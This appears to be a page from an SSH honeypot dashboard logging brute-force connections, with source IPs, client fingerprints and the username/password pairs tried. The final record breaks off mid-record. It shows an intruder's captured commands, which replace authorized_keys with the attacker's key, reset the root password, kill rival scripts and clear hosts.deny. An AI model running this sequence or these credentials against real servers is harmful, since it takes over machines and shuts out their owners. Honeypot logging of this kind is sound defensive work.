nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 19 / 11815 (590716 total records)
Passive Observation Node - Active Operational Overview
101.66.165.103
2026-09-30 02:55:46.908734 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: af0810d778e7
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "af0810d778e7",
  "src_ip": "101.66.165.103",
  "start_time": "2026-09-30T02:55:46.908734Z",
  "end_time": "2026-09-30T02:55:47.124623Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
64.62.197.200
2026-09-30 02:52:29.139554 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 34c7e49a52d8
Client Version: SSH-2.0-Go
Engagement Duration: 4.0s
HASSH Fingerprint: 7216c7c473918b4f83d1139b3c70dbf9
{
  "id": "34c7e49a52d8",
  "src_ip": "64.62.197.200",
  "start_time": "2026-09-30T02:52:29.139554Z",
  "end_time": "2026-09-30T02:52:33.138640Z",
  "duration": "4.0",
  "version": "SSH-2.0-Go",
  "hassh": "7216c7c473918b4f83d1139b3c70dbf9",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
77.90.185.17
2026-09-30 02:38:01.595901 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / vivo12345

Record ID: 9b2a137939e2
Client Version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
Engagement Duration: 5.9s
HASSH Fingerprint: 390ffe68a68c2a2891210413e80689fa
{
  "id": "9b2a137939e2",
  "src_ip": "77.90.185.17",
  "start_time": "2026-09-30T02:38:01.595901Z",
  "end_time": "2026-09-30T02:38:07.466877Z",
  "duration": "5.9",
  "version": "SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3",
  "hassh": "390ffe68a68c2a2891210413e80689fa",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "vivo12345"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.150
2026-09-30 02:24:47.743200 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 745c45d4d3e8
Client Version: SSH-2.0-Go
Engagement Duration: 8.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "745c45d4d3e8",
  "src_ip": "109.160.32.150",
  "start_time": "2026-09-30T02:24:47.743200Z",
  "end_time": "2026-09-30T02:24:55.740627Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
109.160.32.141
2026-09-30 02:24:15.609039 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 97b1ddb87399
Client Version: SSH-2.0-Go
Engagement Duration: 8.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "97b1ddb87399",
  "src_ip": "109.160.32.141",
  "start_time": "2026-09-30T02:24:15.609039Z",
  "end_time": "2026-09-30T02:24:23.605152Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
103.203.57.2
2026-09-30 02:20:23.809901 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 14b181ea3410
Client Version: SSH-2.0-Go
Engagement Duration: 10.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "14b181ea3410",
  "src_ip": "103.203.57.2",
  "start_time": "2026-09-30T02:20:23.809901Z",
  "end_time": "2026-09-30T02:20:33.810415Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
176.53.159.196
2026-09-30 02:11:24.879085 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 5e458ff9bcd8
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "5e458ff9bcd8",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-30T02:11:24.879085Z",
  "end_time": "2026-09-30T02:11:26.165453Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
193.46.255.86
2026-09-30 02:02:58.479949 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: mysql / mysql@1234

Record ID: 1e016025d6b2
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "1e016025d6b2",
  "src_ip": "193.46.255.86",
  "start_time": "2026-09-30T02:02:58.479949Z",
  "end_time": "2026-09-30T02:03:04.525980Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "mysql",
    "pass": "mysql@1234"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
80.94.95.118
2026-09-30 02:00:09.582857 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: 51a84b99b7fb
Client Version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
Engagement Duration: 3.3s
HASSH Fingerprint: 390ffe68a68c2a2891210413e80689fa
{
  "id": "51a84b99b7fb",
  "src_ip": "80.94.95.118",
  "start_time": "2026-09-30T02:00:09.582857Z",
  "end_time": "2026-09-30T02:00:12.917302Z",
  "duration": "3.3",
  "version": "SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3",
  "hassh": "390ffe68a68c2a2891210413e80689fa",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
178.251.110.236
2026-09-30 01:59:52.481579 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ed382ddbfdde
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "ed382ddbfdde",
  "src_ip": "178.251.110.236",
  "start_time": "2026-09-30T01:59:52.481579Z",
  "end_time": "2026-09-30T01:59:52.484971Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
178.251.110.236
2026-09-30 01:59:19.979102 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a9c733c2c88
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "9a9c733c2c88",
  "src_ip": "178.251.110.236",
  "start_time": "2026-09-30T01:59:19.979102Z",
  "end_time": "2026-09-30T01:59:19.982627Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
2.57.121.112
2026-09-30 01:56:31.796612 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: stefano

Record ID: 02448afdfb87
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "02448afdfb87",
  "src_ip": "2.57.121.112",
  "start_time": "2026-09-30T01:56:31.796612Z",
  "end_time": "2026-09-30T01:56:38.323259Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "stefano",
      "pass": "stefano"
    },
    {
      "user": "stefano",
      "pass": "stefano1"
    },
    {
      "user": "stefano",
      "pass": "stefano123"
    },
    {
      "user": "stefano",
      "pass": "stefano1234"
    },
    {
      "user": "stefano",
      "pass": "stefano12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
2.57.121.25
2026-09-30 01:56:31.792629 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / sven

Record ID: 9d6bad57a4f8
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "9d6bad57a4f8",
  "src_ip": "2.57.121.25",
  "start_time": "2026-09-30T01:56:31.792629Z",
  "end_time": "2026-09-30T01:56:37.825026Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "sven"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
43.156.212.6
2026-09-30 01:38:57.311535 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0e7cc9ead984
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "0e7cc9ead984",
  "src_ip": "43.156.212.6",
  "start_time": "2026-09-30T01:38:57.311535Z",
  "end_time": "2026-09-30T01:38:57.499790Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
160.202.144.208
2026-09-30 01:26:08.810495 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d5c039ee3f19
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "d5c039ee3f19",
  "src_ip": "160.202.144.208",
  "start_time": "2026-09-30T01:26:08.810495Z",
  "end_time": "2026-09-30T01:26:08.813797Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
160.202.144.208
2026-09-30 01:26:03.834514 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a24881644472
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "a24881644472",
  "src_ip": "160.202.144.208",
  "start_time": "2026-09-30T01:26:03.834514Z",
  "end_time": "2026-09-30T01:26:03.837922Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
176.53.159.196
2026-09-30 01:23:28.010741 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 11af13b275ba
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "11af13b275ba",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-30T01:23:28.010741Z",
  "end_time": "2026-09-30T01:23:29.330762Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
45.148.10.152
2026-09-30 01:02:23.860864 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fd23e3ee2b34
Client Version: SSH-2.0-PUTTY
Engagement Duration: 0.8s
HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c
{
  "id": "fd23e3ee2b34",
  "src_ip": "45.148.10.152",
  "start_time": "2026-09-30T01:02:23.860864Z",
  "end_time": "2026-09-30T01:02:24.631330Z",
  "duration": "0.8",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
193.24.211.218
2026-09-30 01:02:21.902138 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ubnt

Record ID: 69d72f726bc0
Client Version: SSH-2.0-libssh2_1.11.0
Engagement Duration: 2.2s
HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc
{
  "id": "69d72f726bc0",
  "src_ip": "193.24.211.218",
  "start_time": "2026-09-30T01:02:21.902138Z",
  "end_time": "2026-09-30T01:02:24.099483Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [
    {
      "user": "ubnt",
      "pass": "ubnt"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
93.123.109.6
2026-09-30 00:55:28.249583 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e119a14c1ca3
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "e119a14c1ca3",
  "src_ip": "93.123.109.6",
  "start_time": "2026-09-30T00:55:28.249583Z",
  "end_time": "2026-09-30T00:55:28.403915Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
138.84.62.150
2026-09-30 00:52:20.232981 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2229dda331e5
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "2229dda331e5",
  "src_ip": "138.84.62.150",
  "start_time": "2026-09-30T00:52:20.232981Z",
  "end_time": "2026-09-30T00:52:20.236293Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
2.57.121.25
2026-09-30 00:51:58.326912 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / tactical

Record ID: d00021b9c830
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.1s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "d00021b9c830",
  "src_ip": "2.57.121.25",
  "start_time": "2026-09-30T00:51:58.326912Z",
  "end_time": "2026-09-30T00:52:04.388837Z",
  "duration": "6.1",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "tactical"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
138.84.62.150
2026-09-30 00:51:52.399465 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4cbe66af2504
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "4cbe66af2504",
  "src_ip": "138.84.62.150",
  "start_time": "2026-09-30T00:51:52.399465Z",
  "end_time": "2026-09-30T00:51:52.402628Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
45.238.39.18
2026-09-30 00:51:31.919301 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2bdde9bcd944
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "2bdde9bcd944",
  "src_ip": "45.238.39.18",
  "start_time": "2026-09-30T00:51:31.919301Z",
  "end_time": "2026-09-30T00:51:31.922737Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
45.238.39.18
2026-09-30 00:50:25.897474 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6562e477a7b4
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "6562e477a7b4",
  "src_ip": "45.238.39.18",
  "start_time": "2026-09-30T00:50:25.897474Z",
  "end_time": "2026-09-30T00:50:25.900881Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
193.46.255.86
2026-09-30 00:49:38.416705 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / paxton

Record ID: 10b4003e05fb
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "10b4003e05fb",
  "src_ip": "193.46.255.86",
  "start_time": "2026-09-30T00:49:38.416705Z",
  "end_time": "2026-09-30T00:49:44.421403Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "paxton"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.225.55.137
2026-09-30 00:45:50.529577 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5033a8164f89
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "5033a8164f89",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:45:50.529577Z",
  "end_time": "2026-09-30T00:47:50.549253Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:44:17.754163 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a667f778f99e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "a667f778f99e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:44:17.754163Z",
  "end_time": "2026-09-30T00:46:17.786520Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:42:45.506571 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2cc74e1c6d65
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "2cc74e1c6d65",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:42:45.506571Z",
  "end_time": "2026-09-30T00:44:45.521306Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:41:11.286425 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1fbe84b6c7da
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "1fbe84b6c7da",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:41:11.286425Z",
  "end_time": "2026-09-30T00:43:11.301208Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:39:39.741824 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 69470cd2bf4e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "69470cd2bf4e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:39:39.741824Z",
  "end_time": "2026-09-30T00:41:39.750326Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:38:08.099399 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 56d68a394ea3
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "56d68a394ea3",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:38:08.099399Z",
  "end_time": "2026-09-30T00:40:08.132877Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
2.57.121.112
2026-09-30 00:36:53.642493 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: kacey

Record ID: 25a5d02ad7dd
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.6s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "25a5d02ad7dd",
  "src_ip": "2.57.121.112",
  "start_time": "2026-09-30T00:36:53.642493Z",
  "end_time": "2026-09-30T00:37:00.197491Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "kacey",
      "pass": "kacey"
    },
    {
      "user": "kacey",
      "pass": "kacey1"
    },
    {
      "user": "kacey",
      "pass": "kacey123"
    },
    {
      "user": "kacey",
      "pass": "kacey1234"
    },
    {
      "user": "kacey",
      "pass": "kacey12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.225.55.137
2026-09-30 00:36:34.259270 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 87de61073987
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "87de61073987",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:36:34.259270Z",
  "end_time": "2026-09-30T00:38:34.289171Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:35:02.322225 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: aafc8fc98f53
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "aafc8fc98f53",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:35:02.322225Z",
  "end_time": "2026-09-30T00:37:02.329398Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:33:44.275901 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 28db95fd014d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "28db95fd014d",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:33:44.275901Z",
  "end_time": "2026-09-30T00:35:44.288745Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:33:35.846673 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 89624841f399
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "89624841f399",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:33:35.846673Z",
  "end_time": "2026-09-30T00:35:35.851164Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:33:32.000514 UTC
COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / tongtong

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:3Nw42oK3OlPt"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: dabfaf9f9365
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 37.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "dabfaf9f9365",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:33:32.000514Z",
  "end_time": "2026-09-30T00:34:09.921416Z",
  "duration": "37.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "tongtong"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
